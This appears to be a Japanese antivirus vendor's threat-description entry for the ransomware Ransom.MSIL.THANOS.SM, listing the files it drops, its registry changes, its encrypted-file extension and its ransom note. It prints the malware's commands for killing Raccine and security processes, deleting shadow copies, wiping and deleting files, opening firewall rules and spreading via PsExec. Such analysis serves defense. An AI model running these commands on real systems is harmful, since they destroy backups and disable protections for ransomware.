Ransom.MSIL.THANOS.SM

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

身代金要求文書のファイルを作成します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %User Temp%\{random characters}.exe
• %User Startup%\reload1.lnk

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %User Startup%フォルダは、現在ログオンしているユーザのスタートアップフォルダです。Windows 98およびMEの場合、通常 "C:\Windows\Profiles\＜ユーザ名＞\Start Menu\Programs\Startup" です。Windows NTの場合、通常 "C:\WINNT\Profiles\＜ユーザ名＞\Start Menu\Programs\Startup" です。Windows 2003(32-bit)、XP、2000(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Start Menu\Programs\Startup" です。Windows Vista、7、8、 8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" です。)

マルウェアは、以下のプロセスを追加します。

• "taskkill" /F /IM RaccineSettings.exe
• "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
• "reg" delete HKCU\Software\Raccine /F
• "schtasks" /DELETE /TN "Raccine Rules Updater" /F
• "sc.exe" config Dnscache start= auto
• "sc.exe" config SQLTELEMETRY start= disabled
• "sc.exe" config FDResPub start= auto
• "sc.exe" config SSDPSRV start= auto
• "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
• "sc.exe" config SstpSvc start= disabled
• "sc.exe" config upnphost start= auto
• "sc.exe" config SQLWriter start= disabled
• "taskkill.exe" /IM mspub.exe /F
• "taskkill.exe" /IM synctime.exe /F
• "taskkill.exe" /IM mspub.exe /F
• "taskkill.exe" /IM mydesktopqos.exe /F
• "taskkill.exe" /IM mysqld.exe /F
• "taskkill.exe" /IM Ntrtscan.exe /F
• "taskkill.exe" /IM mydesktopservice.exe /F
• "taskkill.exe" /IM sqbcoreservice.exe /F
• "taskkill.exe" /IM firefoxconfig.exe /F
• "taskkill.exe" /IM isqlplussvc.exe /F
• "taskkill.exe" /IM encsvc.exe /F
• "taskkill.exe" /IM agntsvc.exe /F
• "taskkill.exe" /IM onenote.exe /F
• "taskkill.exe" /IM tbirdconfig.exe /F
• "taskkill.exe" /IM excel.exe /F
• "taskkill.exe" /IM thebat.exe /F
• "taskkill.exe" /IM CNTAoSMgr.exe /F
• "taskkill.exe" /IM PccNTMon.exe /F
• "taskkill.exe" /IM dbeng50.exe /F
• "taskkill.exe" /IM msaccess.exe /F
• "taskkill.exe" /IM steam.exe /F
• "taskkill.exe" /IM sqlwriter.exe /F
• "taskkill.exe" /IM thebat64.exe /F
• "taskkill.exe" /IM outlook.exe /F
• "taskkill.exe" /IM ocomm.exe /F
• "taskkill.exe" /IM tmlisten.exe /F
• "taskkill.exe" /IM wordpad.exe /F
• "taskkill.exe" /IM oracle.exe /F
• "taskkill.exe" /IM msftesql.exe /F
• "taskkill.exe" /IM infopath.exe /F
• "taskkill.exe" /IM mysqld-opt.exe /F
• "taskkill.exe" /IM powerpnt.exe /F
• "taskkill.exe" /IM sqlagent.exe /F
• "taskkill.exe" /IM mbamtray.exe /F
• "taskkill.exe" /IM sqlbrowser.exe /F
• "taskkill.exe" /IM ocautoupds.exe /F
• "taskkill.exe" /IM mydesktopqos.exe /F
• "taskkill.exe" /IM zoolz.exe /F
• "taskkill.exe" /IM sqlservr.exe /F
• "taskkill.exe" /IM ocssd.exe /F
• "taskkill.exe" IM thunderbird.exe /F
• "taskkill.exe" /IM visio.exe /F
• "taskkill.exe" /IM dbsnmp.exe /F
• "taskkill.exe" /IM mydesktopservice.exe /F
• "taskkill.exe" /IM xfssvccon.exe /F
• "taskkill.exe" /IM winword.exe /F
• "taskkill.exe" /IM mysqld-nt.exe /F
• "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete() }
• "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
• "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
• "arp" -a
• "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
• ping 127.0.0.7 -n 3
• "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
• "%System%\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "{Malware path and name}
• "%System%\notepad.exe" %Desktop%\RESTORE_FILES_INFO.txt
• "%User Temp%\{random characters}.exe" \{local IP address} -d -h -s -f -accepteula -nobanner -c "{Malware path and name}"

(註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.. %Desktop%フォルダは、現在ログオンしているユーザのデスクトップです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Desktop" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\Desktop" です。. %User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\KEYID\
myKeyID
ID1 = {string}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption = YOUR COMPANY IS HACKED AND COMPROMISED

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticecaption = YOUR COMPANY IS HACKED AND COMPROMISED

HKEY_CURRENT_USER\Software\Sysinternals\
PsExec
EulaAccepted = 1

その他

マルウェアは、以下のレジストリキーを追加します。

HKEY_CURRENT_USER\Software\KEYID

HKEY_CURRENT_USER\Software\Sysinternals\
PsExec

HKEY_CURRENT_USER\Software\KEYID\
myKeyID

ランサムウェアの不正活動

マルウェアは、暗号化されたファイルのファイル名に以下の拡張子を追加します。

• .KOUMU

マルウェアが作成する以下のファイルは、脅迫状です。

• %User Temp%\RESTORE_FILES_INFO.txt
• %Desktop%\RESTORE_FILES_INFO.txt
• {Encrypted Directory}\RESTORE_FILES_INFO.txt

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %Desktop%フォルダは、現在ログオンしているユーザのデスクトップです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Desktop" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\Desktop" です。)